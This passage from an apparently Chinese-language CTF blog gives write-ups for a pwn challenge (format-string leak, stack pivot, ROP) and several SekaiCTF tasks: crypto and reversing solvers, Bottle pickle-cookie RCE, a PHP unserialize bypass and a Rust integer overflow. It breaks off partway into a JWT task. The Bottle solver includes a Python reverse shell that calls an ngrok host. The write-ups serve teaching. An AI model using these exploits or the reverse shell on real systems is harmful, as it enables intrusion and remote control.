upload_time += rand() % 23 + 1;
viewers += rand() % 50;
// some useless code
printf(video_name);
// some useless code
puts(&byte_2E3F);
puts(asc_2E40);
puts(asc_2EB0);
puts(asc_2F20);
return puts(&byte_2E3F);
}
void __noreturn omedetou()
{
int fd; // [rsp+Ch] [rbp-1014h]
char s[16]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v2; // [rsp+1018h] [rbp-8h]
v2 = __readfsqword(0x28u);
fd = open("omedetou.txt", 0);
if ( fd == -1 )
{
puts("Cannot read file!\nExiting...");
exit(-1);
}
memset(s, 0, 0x1000uLL);
read(fd, s, 0x1000uLL);
printf("%s", s);
exit(0);
}
__int64 upload()
{
__int64 result; // rax
puts("video name:");
memset(video_name, 0, sizeof(video_name));
read(0, video_name, 0x1FuLL);
puts("upload completed.");
upload_time = 0;
viewers = 0;
++total_video;
result = (unsigned int)(subscriber + 10);
subscriber += 10;
return result;
}
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
init_seccomp();
puts("You are a shy, gloomy high-schooler who started learning guitar after seeing rock bands on TV.");
puts("Try to record guitar covers and post them to your YouTube channel.");
while ( 1 )
{
if ( !action )
end();
if ( subscriber > 999999 )
omedetou();
puts("-------------------------------------------------------");
puts("What do you want to do?");
if ( action == 1 )
printf("You have %d action.\n", (unsigned int)action);
else
printf("You have %d actions.\n", (unsigned int)action);
puts("1. show YT channel status");
puts("2. upload video");
puts("3. show latest video");
puts("-------------------------------------------------------");
printf("> ");
read(0, buf, 0xFuLL);
v3 = atoi(buf);
if ( v3 == 3 )
{
show_video();
}
else
{
if ( v3 > 3 )
goto LABEL_15;
if ( v3 == 1 )
{
show_yt_status();
}
else
{
if ( v3 != 2 )
LABEL_15:
exit(0);
upload();
}
}
--action;
}
}
可以注意到用upload()
去讀的video_name
,在show_video()
會直接被輸出,所以有format string的漏洞
另外可以注意到omedetou()
裡面會去讀檔然後print出來,所以之後應該利用裡面的gadget讀flag
另一個比較重要的部分是action
初始值是3,用完之後就會直接exit
掉
第一步先用format string的漏洞leak stack上面保存的_start
address,推算出pie base
第二步是利用上一步得到的pie base,算出action
的address,並且因為read option的時候讀了0xf bytes(read(0, buf, 0xFuLL);
),所以可以使用b"3\0AAAAAA" + p64(address)[:-1]
,把任意的address放到stack上
於是這裡我們可以將&action
放到stack上,再利用format string的漏洞對他進行寫入,就可以重複輸入3次以上了
第三步是用format string leak stack上的__libc_start_main+243
,拿到libc base
第四步是leak存在stack上的”上一個”stack frame的rbp值,並推算出”當前”rbp的值(可以直接用gdb看一下,推算出來)
第五步是將剛剛得到的rbp的值放到stack上,並透過format string的漏洞對他進行寫入,將儲存在rbp中的”上一個”stack frame、也就是main()
的rbp改寫,改寫成其值-0x18後的數值
這麼做是為了使main()
在執行read(0, buf, 0xFuLL)
時,因為buf是在rbp - 0x20的位置,所以read
執行之後,就會剛好把自己存在stack上的rip給蓋掉,於是就可以塞兩個gadgets的ROP
這時可以先填上一個在libc中找到的mov edx, 0x94d3ff3
gadget,再重新ret到read
一次,此時因為rdi和rsi都是一樣的,所以會重新read
0x94d3ff3 bytes到相同位置,這時就能重新進行ROP,剩下只需要讓rdi指向存flag檔名的address,再跳到omedetou()
裡面即可
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./guitarhero_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = binary.arch
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
b *show_video+552
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10009)
return io
def main():
io = conn()
info("leaking pie base")
io.sendlineafter(b"> ", b"2")
payload = b"%11$pEND"
io.sendafter(b":\n", payload)
payload = flat(b"3\n", length=8)
# payload += p8(binary.sym["action"] & 0xff)
io.sendafter(b"> ", payload)
io.recvuntil(b"0x")
_start_address = int(io.recvuntil(b"END", drop=True), 16)
info(f"_start address: {_start_address:#x}")
binary.address = _start_address - binary.sym["_start"]
success(f"pie base: {binary.address:#x}")
success(f"&action: {binary.sym['action']:#x}")
info("(int)action = 100")
io.sendlineafter(b"> ", b"2")
payload = b"%100c%11$nEND"
io.sendafter(b":\n", payload)
payload = flat({
0x00: b"3\n",
0x08: p64(binary.sym["action"])[:-1],
}, length=0xf)
io.sendafter(b"> ", payload)
io.recvuntil(b"END")
info("leaking libc base")
payload = b"%15$pEND"
io.sendlineafter(b"> ", b"2")
io.sendafter(b":\n", payload)
io.sendafter(b"> ", b"3\n")
io.recvuntil(b"0x")
__libc_start_main_243 = int(io.recvuntil(b"END", drop=True), 16)
info(f"__libc_start_main+243: {__libc_start_main_243:#x}")
libc.address = __libc_start_main_243 - libc.sym["__libc_start_main"] - 243
success(f"libc base: {libc.address:#x}")
success(f"read: {libc.sym['read']:#x}")
info("leaking stack address")
payload = b"%6$pEND"
io.sendlineafter(b"> ", b"2")
io.sendafter(b":\n", payload)
io.sendafter(b"> ", b"3\n")
io.recvuntil(b"0x")
saved_rbp = int(io.recvuntil(b"END", drop=True), 16)
success(f"saved rbp: {saved_rbp:#x}")
current_rbp = saved_rbp - 0x40
success(f"current rbp: {current_rbp:#x}")
info("stack pivot rbp to rbp-0x18 for rop")
target = saved_rbp - 0x18
payload = f"%{target & 0xffff}c%11$hnEND".encode()
io.sendlineafter(b"> ", b"2")
io.sendafter(b":\n", payload)
payload = flat({
0x00: b"3\n",
0x08: p64(current_rbp)[:-1],
})
io.sendafter(b"> ", payload)
io.recvuntil(b"END")
info("rop to open flag then read/print flag")
payload = flat({
0x00: p64(0x19530a + libc.address), # mov edx, 0x94d3ff3 ; ret
0x08: p64(libc.sym["read"])[:-1], # read(0, rbp-0x20, 0x94d3ff3)
}, length=0xf)
io.sendafter(b"> ", payload)
rop = ROP(libc)
filename = b"/home/guitarhero/flag\0"
flag_offset = 0x80
payload = flat(
0x4141414141414141,
0x4242424242424242,
rop.find_gadget(["pop rdi", "ret"]).address,
target - 0x20 + flag_offset,
rop.find_gadget(["pop rsi", "ret"]).address,
0,
binary.address + 0x1ab8, # open/read gadget
length=flag_offset,
)
payload += filename
io.send(payload)
result = io.recvall()
flag = result[result.index(b"ADL{"): result.index(b"}") + 1]
success(f"flag: {flag.decode()}") # ADL{5h0un1n_y0kkyuu_m0n573r!!!https://youtu.be/IwHwv-lcxi4}
if __name__ == "__main__":
main()
flag: ADL{5h0un1n_y0kkyuu_m0n573r!!!https://youtu.be/IwHwv-lcxi4}
這次我是班上最快破台的人,蠻開心的,感覺比兩年前的自己多會了很多東西~
不過隨著見識過的高手越來越多,我也越來越明白自己還有非常多不足的地方,希望有朝一日能趕上他們的腳步!
]]>這個假日自己參加了SekaiCTF,只解了幾題Web和幾題其他類型的送分題,不過還是稍微筆記一下一些值得紀錄的解題過程
題目的source code:
import time
import os
import random
from SECRET import flag
def encrypt_stage_one(message, key):
u = [s for s in sorted(zip(key, range(len(key))))]
res = ''
for i in u:
for j in range(i[1], len(message), len(key)):
res += message[j]
return res
def encrypt_stage_two(message):
now = str(time.time()).encode('utf-8')
now = now + "".join("0" for _ in range(len(now), 18)).encode('utf-8')
random.seed(now)
key = [random.randrange(256) for _ in message]
return [m ^ k for (m,k) in zip(message + now, key + [0x42]*len(now))]
# I am generating many random numbers here to make my message secure
rand_nums = []
while len(rand_nums) != 8:
tmp = int.from_bytes(os.urandom(1), "big")
if tmp not in rand_nums:
rand_nums.append(tmp)
for _ in range(42):
# Answer to the Ultimate Question of Life, the Universe, and Everything...
flag = encrypt_stage_one(flag, rand_nums)
# print(flag)
# Another layer of randomness based on time. Unbreakable.
res = encrypt_stage_two(flag.encode('utf-8'))
with open("flag.enc", "wb") as f:
f.write(bytes(res))
f.close()
可以看到題目會把flag依照隨機生成的rand_nums
的大小順序,在encrypt_stage_one()
中把flag的順序打亂,
接著把time.time()
當成random seed,生成長度為256的key去和打亂順序的flag在encrypt_stage_two()
中xor
首先可以發現encrypt_stage_two()
的now
是可以很輕鬆的復原的,因為我們可以從這裡知道:
return [m ^ k for (m,k) in zip(message + now, key + [0x42]*len(now))]
只需要把flag的最後18 bytes和b'\x42'*18
xor,就會得出encrypt時用的now
而既然我們知道了now
,就等於我們可以將題目給的flag.enc
中的內容恢復成encrypt_stage_two()
前的狀態
這時由於encrypt_stage_one()
的key長度很短,頂多也只有8!=40320種可能
所以我們可以直接窮舉key,再搭配z3去硬解就可以了(我自己是花了10分鐘找出key)
from z3 import *
import random
from itertools import permutations
from tqdm import tqdm
def encrypt_stage_one(message, key):
res = []
for i in key:
for j in range(i, len(message), len(key)):
res += [message[j]]
return res
def decrypt_stage_two(message, now):
random.seed(now)
key = [random.randrange(256) for _ in message]
return [m ^ k for (m, k) in zip(message, key + [0x42] * len(now))][:-18]
def main() -> None:
with open("flag.enc", "rb") as f:
flag_enc = f.read()
now = bytes([0x42 ^ x for x in flag_enc[-18:]])
flag_enc = bytes(decrypt_stage_two(flag_enc, now))
print(flag_enc)
keys = list(permutations(range(8)))
flag_init = [BitVec(f"flag_{i}", 8) for i in range(len(flag_enc))]
for k in tqdm(keys[33000:]):
s = Solver()
flag = flag_init.copy()
for i, c in enumerate(b"SEKAI{"):
s.add(flag[i] == c)
s.add(flag[-1] == ord("}"))
for _ in range(42):
flag = encrypt_stage_one(flag, k)
for i, c in enumerate(flag_enc):
s.add(flag[i] == c)
if s.check() == sat:
print("Found:")
print(bytes([s.model()[x].as_long() for x in flag_init]))
# 82%|██████████████████████████████████████████████████████████████████████████████████████████████████████▌ | 33082/40320 [10:24<02:22, 50.83it/s]
# Found:
# b'SEKAI{T1m3_15_pr3C10u5_s0_Enj0y_ur_L1F5!!!}'
break
main()
flag: SEKAI{T1m3_15_pr3C10u5_s0_Enj0y_ur_L1F5!!!}
這題給了一個java的class
檔,丟進idea裡後decompile一下:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
import java.util.Scanner;
public class Sekai {
private static int length = (int)Math.pow(2.0D, 3.0D) - 2;
public Sekai() {
}
public static void main(String[] var0) {
Scanner var1 = new Scanner(System.in);
System.out.print("Enter the flag: ");
String var2 = var1.next();
if (var2.length() != 43) {
System.out.println("Oops, wrong flag!");
} else {
String var3 = var2.substring(0, length);
String var4 = var2.substring(length, var2.length() - 1);
String var5 = var2.substring(var2.length() - 1);
if (var3.equals("SEKAI{") && var5.equals("}")) {
assert var4.length() == length * length;
if (solve(var4)) {
System.out.println("Congratulations, you got the flag!");
} else {
System.out.println("Oops, wrong flag!");
}
} else {
System.out.println("Oops, wrong flag!");
}
}
}
public static String encrypt(char[] var0, int var1) {
char[] var2 = new char[length * 2];
int var3 = length - 1;
int var4 = length;
int var5;
for(var5 = 0; var5 < length * 2; ++var5) {
var2[var5] = var0[var3--];
var2[var5 + 1] = var0[var4++];
++var5;
}
for(var5 = 0; var5 < length * 2; ++var5) {
var2[var5] ^= (char)var1;
}
return String.valueOf(var2);
}
public static char[] getArray(char[][] var0, int var1, int var2) {
char[] var3 = new char[length * 2];
int var4 = 0;
int var5;
for(var5 = 0; var5 < length; ++var5) {
var3[var4] = var0[var1][var5];
++var4;
}
for(var5 = 0; var5 < length; ++var5) {
var3[var4] = var0[var2][length - 1 - var5];
++var4;
}
return var3;
}
public static char[][] transform(char[] var0, int var1) {
char[][] var2 = new char[var1][var1];
for(int var3 = 0; var3 < var1 * var1; ++var3) {
var2[var3 / var1][var3 % var1] = var0[var3];
}
return var2;
}
public static boolean solve(String var0) {
char[][] var1 = transform(var0.toCharArray(), length);
for(int var2 = 0; var2 <= length / 2; ++var2) {
for(int var3 = 0; var3 < length - 2 * var2 - 1; ++var3) {
char var4 = var1[var2][var2 + var3];
var1[var2][var2 + var3] = var1[length - 1 - var2 - var3][var2];
var1[length - 1 - var2 - var3][var2] = var1[length - 1 - var2][length - 1 - var2 - var3];
var1[length - 1 - var2][length - 1 - var2 - var3] = var1[var2 + var3][length - 1 - var2];
var1[var2 + var3][length - 1 - var2] = var4;
}
}
String var10001 = encrypt(getArray(var1, 0, 5), 2);
return "oz]{R]3l]]B#50es6O4tL23Etr3c10_F4TD2".equals(var10001 + encrypt(getArray(var1, 1, 4), 1) + encrypt(getArray(var1, 2, 3), 0));
}
}
這題蠻有趣的,可以看的出來整個input的驗證過程都只是把array裡的東西移來移去,頂多做個xor而已,所以對z3很友善
於是我們只需要把這些java的code用Python寫出來,剩下交給z3去解就行了
而這部分Github Copilot幫了我大忙,我們只需要把java的function code當成註解,並稍微引導一下,
有時只需要改個一兩行,甚至完全不用自己動手,Github Copilot就會自動幫你生成Python版本的code了!
最後我的code長這樣:
from z3 import *
length = 6
"""
public static String encrypt(char[] var0, int var1) {
char[] var2 = new char[length * 2];
int var3 = length - 1;
int var4 = length;
int var5;
for(var5 = 0; var5 < length * 2; ++var5) {
var2[var5] = var0[var3--];
var2[var5 + 1] = var0[var4++];
++var5;
}
for(var5 = 0; var5 < length * 2; ++var5) {
var2[var5] ^= (char)var1;
}
return String.valueOf(var2);
}
"""
def encrypt(var0, var1):
var2 = [0] * (length * 2)
var3 = length - 1
var4 = length
for var5 in range(0, length * 2, 2):
var2[var5] = var0[var3]
var3 -= 1
var2[var5 + 1] = var0[var4]
var4 += 1
for var5 in range(length * 2):
var2[var5] ^= var1
return var2
"""
public static char[] getArray(char[][] var0, int var1, int var2) {
char[] var3 = new char[length * 2];
int var4 = 0;
int var5;
for(var5 = 0; var5 < length; ++var5) {
var3[var4] = var0[var1][var5];
++var4;
}
for(var5 = 0; var5 < length; ++var5) {
var3[var4] = var0[var2][length - 1 - var5];
++var4;
}
return var3;
}
"""
def getArray(var0: list, var1: int, var2: int) -> list:
var3 = [0] * (length * 2)
var4 = 0
for var5 in range(length):
var3[var4] = var0[var1][var5]
var4 += 1
for var5 in range(length):
var3[var4] = var0[var2][length - 1 - var5]
var4 += 1
return var3
"""
public static char[][] transform(char[] var0, int var1) {
char[][] var2 = new char[var1][var1];
for(int var3 = 0; var3 < var1 * var1; ++var3) {
var2[var3 / var1][var3 % var1] = var0[var3];
}
return var2;
}
"""
def transform(var0, var1: int):
var2 = [[0] * var1 for _ in range(var1)]
for var3 in range(var1 * var1):
var2[var3 // var1][var3 % var1] = var0[var3]
return var2
"""
public static boolean solve(String var0) {
char[][] var1 = transform(var0.toCharArray(), length);
for(int var2 = 0; var2 <= length / 2; ++var2) {
for(int var3 = 0; var3 < length - 2 * var2 - 1; ++var3) {
char var4 = var1[var2][var2 + var3];
var1[var2][var2 + var3] = var1[length - 1 - var2 - var3][var2];
var1[length - 1 - var2 - var3][var2] = var1[length - 1 - var2][length - 1 - var2 - var3];
var1[length - 1 - var2][length - 1 - var2 - var3] = var1[var2 + var3][length - 1 - var2];
var1[var2 + var3][length - 1 - var2] = var4;
}
}
String var10001 = encrypt(getArray(var1, 0, 5), 2);
return "oz]{R]3l]]B#50es6O4tL23Etr3c10_F4TD2".equals(var10001 + encrypt(getArray(var1, 1, 4), 1) + encrypt(getArray(var1, 2, 3), 0));
}
"""
def solve(solver, var0: list) -> None:
var1 = transform(var0, length)
for var2 in range(length // 2 + 1):
for var3 in range(length - 2 * var2 - 1):
var4 = var1[var2][var2 + var3]
var1[var2][var2 + var3] = var1[length - 1 - var2 - var3][var2]
var1[length - 1 - var2 - var3][var2] = var1[length - 1 - var2][
length - 1 - var2 - var3
]
var1[length - 1 - var2][length - 1 - var2 - var3] = var1[var2 + var3][
length - 1 - var2
]
var1[var2 + var3][length - 1 - var2] = var4
var10001 = encrypt(getArray(var1, 0, 5), 2)
var10001 += encrypt(getArray(var1, 1, 4), 1)
var10001 += encrypt(getArray(var1, 2, 3), 0)
for i, c in enumerate(b"oz]{R]3l]]B#50es6O4tL23Etr3c10_F4TD2"):
solver.add(var10001[i] == c)
def main() -> None:
s = Solver()
flag = [BitVec(f"flag[{i}]", 8) for i in range(43)]
flag_init = flag.copy()
for i, c in enumerate(b"SEKAI{"):
s.add(flag[i] == c)
s.add(flag[-1] == ord("}"))
solve(s, flag[6:-1])
assert s.check() == sat
print(bytes([s.model()[i].as_long() for i in flag_init]).decode()) # SEKAI{m4tr1x_d3cryP710N_15_Fun_M4T3_@2D2D!}
if __name__ == "__main__":
main()
flag: SEKAI{m4tr1x_d3cryP710N_15_Fun_M4T3_@2D2D!}
這題是半blackbox的web,但漏洞很明顯,可以通過他page的html觀察到他似乎可以讀任意文件:
<ul>
<li><a class="text-blue-300 underline hover:no-underline" href="/show?id=spring.txt">Spring</a></li>
<li><a class="text-blue-300 underline hover:no-underline" href="/show?id=Auguries_of_Innocence.txt">Auguries_of_Innocence</a></li>
<li><a class="text-blue-300 underline hover:no-underline" href="/show?id=The_tiger.txt">The_tiger</a></li>
</ul>
嘗試讀/proc/self/cmdline
:
00000000: 7079 7468 6f6e 3300 2d75 002f 6170 702f python3.-u./app/
00000010: 6170 702e 7079 00 app.py.
得知是一個Python的app,讀一下/app/app.py
的內容:
from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re
@route("/")
def home():
return template("index")
@route("/show")
def index():
response.content_type = "text/plain; charset=UTF-8"
param = request.query.id
if re.search("^../app", param):
return "No!!!!"
requested_path = os.path.join(os.getcwd() + "/poems", param)
try:
with open(requested_path) as f:
tfile = f.read()
except Exception as e:
return "No This Poems"
return tfile
@error(404)
def error404(error):
return template("error")
@route("/sign")
def index():
try:
session = request.get_cookie("name", secret=sekai)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=sekai)
return template("guest", name=session["name"])
if session["name"] == "admin":
return template("admin", name=session["name"])
except:
return "pls no hax"
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
run(host="0.0.0.0", port=8080)
可以觀察到這題的server是用一個叫做bottle
的東西寫的,
而且通過from config.secret import sekai
可以得知在/app/config/secret.py
裡面還放了給session的secret key
/app/config/secret.py
:
sekai = "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
這題我原本以為只需要透過這個key自己按照bottle
的api簽一個admin的session即可拿到flag,但發現拿到admin完全沒用
後來追進去request.cookie
的code裡看了一下實做的方式:
def get_cookie(self, key, default=None, secret=None):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret) # (key, value) tuple or None
return dec[1] if dec and dec[0] == key else default
return value or default
可以觀察到get_cookie()
會去呼叫一個叫cookie_decode
的function,再追進去:
def cookie_decode(data, key):
''' Verify and decode an encoded string. Return an object or None.'''
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None
哇,cookie_decode()
竟然直接調用了pickle.loads
去deserialize cookie!
這時我們再來看一下response.set_cookie()
是怎麼實做的:
... # bla bla bla
if not self._cookies:
self._cookies = SimpleCookie()
if secret:
value = touni(cookie_encode((name, value), secret))
... # bla bla bla
再看一下cooke_encode()
在做什麼:
def cookie_encode(data, key):
''' Encode and sign a pickle-able object. Return a (byte) string '''
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob('!') + sig + tob('?') + msg
Bingo,他會去pickle.dumps
data的部分!
接下來就是用老梗的方法弄出可以rce的東西塞進cookie就行了
solve.py
:
from bottle import cookie_encode
import requests
from urllib.parse import quote
URL = "http://bottle-poem.ctf.sekai.team"
cmd = '''
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("2.tcp.ngrok.io",12553));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
'''.strip()
class RCE:
def __reduce__(self):
return (__import__("os").system, (cmd,))
def main() -> None:
s = requests.Session()
r = s.get(URL + "/show", params={
"id": "/app/config/secret.py"
})
secret = r.text.split('"')[1]
# print(secret)
payload = cookie_encode(("name", {"name": RCE()}), secret)
print(payload)
s.get(URL + "/sign", cookies={
"name": payload.decode()
})
# $ ncat -vl 1337
# Ncat: Version 7.91 ( https://nmap.org/ncat )
# Ncat: Listening on :::1337
# Ncat: Listening on 0.0.0.0:1337
# Ncat: Connection from 127.0.0.1.
# Ncat: Connection from 127.0.0.1:52571.
# $ /flag
# /flag
# SEKAI{W3lcome_To_Our_Bottle}
main()
寫reverse shell回來:
$ ncat -vl 1337
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:52571.
$ /flag
/flag
SEKAI{W3lcome_To_Our_Bottle}
flag: SEKAI{W3lcome_To_Our_Bottle}
題目的php version是7.4.5,source code:
<?php
include('./flag.php');
class Sekai_Game{
public $start = True;
public function __destruct(){
if($this->start === True){
echo "Sekai Game Start Here is your flag ".getenv('FLAG');
}
}
public function __wakeup(){
$this->start=False;
}
}
if(isset($_GET['sekai_game.run'])){
unserialize($_GET['sekai_game.run']);
}else{
highlight_file(__FILE__);
}
?>
可以看到server會去unserialize$_GET['sekai_game.run']
裡的東西
若我們能繞過__wakeup
直接讓反序列出來的object直接__destruct
的話,就能拿到flag
這題有兩關,第一關是/?sekai_game.run=xxxxx
這種request,sekai_game.run=xxxx
會被parse成$_GET['sekai_game_run']=xxxx
所以是沒辦法順利調用unserialize的
這裡卡了一陣子,後來翻了一下source code:
main/php_variables.c#L105-L115:
/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
for (p = var; *p; p++) {
if (*p == ' ' || *p == '.') {
*p='_';
} else if (*p == '[') {
is_array = 1;
ip = p;
*p = 0;
break;
}
}
可以發現php在parse的時候會先把所有的空格
,.
都replace成_
,但可以注意到因為php也支援傳入array型別的變數
所以遇到[
後就會直接break掉
接著若is_array==1
,且無法順利parse出array時,會執行:
main/php_variables.c#L191-L195
if (!ip) {
/* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
*(index_s - 1) = '_';
index_len = 0;
這個動作會將[
也替代成_
,但並沒有繼續確認[
後是否有空格
,.
!
所以若我們輸入sekai[game.run
,php會parse成sekai_game.run
!
我們也就可以順利將我們的payload反序列了!
Note: 這個部分在php8已經不會發生了,因為在
*(index_s - 1) = '_';
會再檢查一次是否有不符合的字元:main/php_variables.c#L196-L201
*(index_s - 1) = '_'; /* PHP variables cannot contain ' ', '.', '[' in their names, so we replace the characters with a '_' */ for (p = index_s; *p; p++) { if (*p == ' ' || *p == '.' || *p == '[') { *p = '_'; }
接下來第二關是繞過__wakeup
的部分,但這裡我原理不太懂,我是在bugs.php.net/bug.php?id=81151找到的:
當使用C
這個類型去反序列的時候,如果不是Serializable,就會造成錯誤,而且不會呼叫__wakeup
所以最後的payload:
$ curl -g --path-as-is 'http://sekai-game-start.ctf.sekai.team/?sekai[game.run=C:10:%22Sekai_Game%22:0:{}'
<br />
<b>Warning</b>: Class Sekai_Game has no unserializer in <b>/var/www/html/index.php</b> on line <b>15</b><br />
Sekai Game Start Here is your flag SEKAI{W3lcome_T0_Our_universe}
flag: SEKAI{W3lcome_T0_Our_universe}
這題是用rust寫的,code有點多,完整的code就不貼上來了,簡單講幾個重點:
題目是一個用rust寫的商城,可以買東西,賣東西,或是升級使用者的帳戶,
其中/upgrade
的route會提供你買flag的功能和升級帳戶的功能:
#[post("/upgrade")]
async fn upgrade(user: User, body: web::Form<ItemPayload>) -> Json<APIResult> {
if user.game.is_over() {
return web::Json(APIResult {
success: false,
message: "The game is over",
});
}
if body.quantity <= 0 || body.quantity > 32767 {
return web::Json(APIResult {
success: false,
message: "Invalid quantity",
});
}
// upgrades
if let Some(item) = crate::game::UPGRADES.iter().find(|u| u.name == body.name) {
let mut price = item.price;
// quantity matters for donate and storage
if item.name == "Donate to charity" || item.name == "Storage Upgrade" {
price *= body.quantity;
}
// upgrade checks
if user.game.has_upgrade("Loan") && item.name == "Loan" {
return web::Json(APIResult {
success: false,
message: "You can't take out another loan",
});
}
if user.game.has_upgrade("More Commodities") && item.name == "More Commodities" {
return web::Json(APIResult {
success: false,
message: "You already have access to all commodities",
});
}
if user.game.money.get() < price as i64 {
return web::Json(APIResult {
success: false,
message: "Not enough money",
});
}
let mut upgrades = user.game.upgrades.get();
upgrades.extend(vec![item].repeat(body.quantity as usize));
if upgrades.len() > 32767 {
return web::Json(APIResult {
success: false,
message: "Too many upgrades purchased",
});
}
user.game.upgrades.set(upgrades);
if price != 0 {
user.game.money.set(user.game.money.get() - price as i64);
}
if item.name == "Storage Upgrade" {
return web::Json(APIResult {
success: true,
message: "Enjoy your new storage",
});
} else if item.name == "More Commodities" {
let mut market = user.game.market.get();
market.extend(crate::game::EXTENDED_ITEMS);
user.game.market.set(market);
user.game.market.set(user.game.randomize_market());
return web::Json(APIResult {
success: true,
message: "Enjoy your new selection",
});
} else if item.name == "Flag" {
return web::Json(APIResult {
success: true,
message: "Hacker...",
});
} else if item.name == "Loan" {
user.game.debt.set(user.game.debt.get() - item.price as i64); // since item.price is negative for loan
return web::Json(APIResult {
success: true,
message: "Make sure to pay it back...",
});
} else if item.name == "Donate to charity" {
return web::Json(APIResult {
success: true,
message: "What a nice gesture :)",
});
} else if item.name == "Sleep" {
user.game.day.set(user.game.day.get() + 1);
user.game.market.set(user.game.randomize_market());
return web::Json(APIResult {
success: true,
message: "Have a nice rest...",
});
}
}
web::Json(APIResult {
success: false,
message: "No upgrade found with that name",
})
}
但flag的價格很貴,用正常手段是達不到的:
// list of upgrades and items
pub const UPGRADES: &[Upgrade] = &[
Upgrade {
name: "Storage Upgrade",
price: 100_000,
color: "primary",
},
Upgrade {
name: "More Commodities",
price: 100_000,
color: "warning",
},
Upgrade {
name: "Flag",
price: 2_000_000_000,
color: "success",
},
Upgrade {
name: "Loan",
price: -37_500,
color: "danger",
},
Upgrade {
name: "Donate to charity",
price: 1,
color: "info",
},
Upgrade {
name: "Sleep",
price: 0,
color: "secondary",
},
];
flag的價格為: 2_000_000_000
自從我第一次在web看到rust的題目,就一直在想integer overflow應該有一天會出現,結果這次就出現了:
由於在這裡:
// quantity matters for donate and storage
if item.name == "Donate to charity" || item.name == "Storage Upgrade" {
price *= body.quantity;
}
沒有檢查quantity
的量就直接做乘法,而price只是32 bits的sign int,所以很可能會overflow
剛好Storage Upgrade
很貴,需要100_000
,所以只需要一次買大約20000
個,
即可透過overflow,達到購買負數價格的商品,拿到超過2_000_000_000
的錢
接著買flag就可以了,solve.py
:
import requests
import secrets
import ctypes
import re
URL = "http://crab-commodities.ctf.sekai.team"
def main() -> None:
s = requests.Session()
s.post(
URL + "/auth/register",
data={
"username": secrets.token_hex(16),
"password": secrets.token_hex(16),
},
)
quantity = 22000
price = 100_000
assert -ctypes.c_int32(quantity * price).value > 2_000_000_000
s.post(
URL + "/api/upgrade",
data={
"quantity": quantity,
"name": "Storage Upgrade",
},
)
s.post(
URL + "/api/upgrade",
data={
"quantity": "1",
"name": "Flag",
},
)
r = s.get(URL + "/game")
flag = re.search(r"SEKAI\{.*\}", r.text).group(0)
print(flag) # SEKAI{rust_is_pretty_s4fe_but_n0t_safe_enough!!}
main()
flag: SEKAI{rust_is_pretty_s4fe_but_n0t_safe_enough!!}
這題其實蠻簡單的,純粹code review而已,但不知道為什麼解的人不多,可能是被rust嚇到了XD
api.py
主要負責auth的邏輯,若auth成功,拜訪/api/flag
即可拿到flag:
from flask import Blueprint, request
from urllib.parse import urlparse
import os
import jwt
import requests
api = Blueprint("api", __name__, url_prefix="/api")
valid_issuer_domain = os.getenv("HOST")
valid_algo = "RS256"
def get_public_key_url(token):
is_valid_issuer = lambda issuer: urlparse(issuer).netloc == valid_issuer_domain
header = jwt.get_unverified_header(token)
if "issuer" not in header:
raise Exception("issuer not found in JWT header")
token_issuer = header["issuer"]
if not is_valid_issuer(token_issuer):
raise Exception(
"Invalid issuer netloc: {issuer}. Should be: {valid_issuer}".format(
issuer=urlparse(token_issuer).netloc, valid_issuer=valid_issuer_domain
)
)
pubkey_url = "{host}/.well-known/jwks.json".format(host=token_issuer)
return pubkey_url
def get_public_key(url):
resp = requests.get(url)
resp = resp.json()
key = resp["keys"][0]["x5c"][0]
return key
def has_valid_alg(token):
header = jwt.get_unverified_header(token)
algo = header["alg"]
return algo == valid_algo
def authorize_request(token):
pubkey_url = get_public_key_url(token)
if has_valid_alg(token) is False:
raise Exception("Invalid algorithm. Only {valid_algo} allowed.".format(valid_algo=valid_algo))
pubkey = get_public_key(pubkey_url)
pubkey = "-----BEGIN PUBLIC KEY-----\n{pubkey}\n-----END PUBLIC KEY-----".format(pubkey=pubkey).encode()
decoded_token = jwt.decode(token, pubkey, algorithms=["RS256"])
if "user" not in decoded_token:
raise Exception("user claim missing")
if decoded_token["user"] == "admin":
return True
return False
@api.before_request
def authorize():
if "Authorization" not in request.headers:
raise Exception("No Authorization header found")
authz_header = request.headers["Authorization"].split(" ")
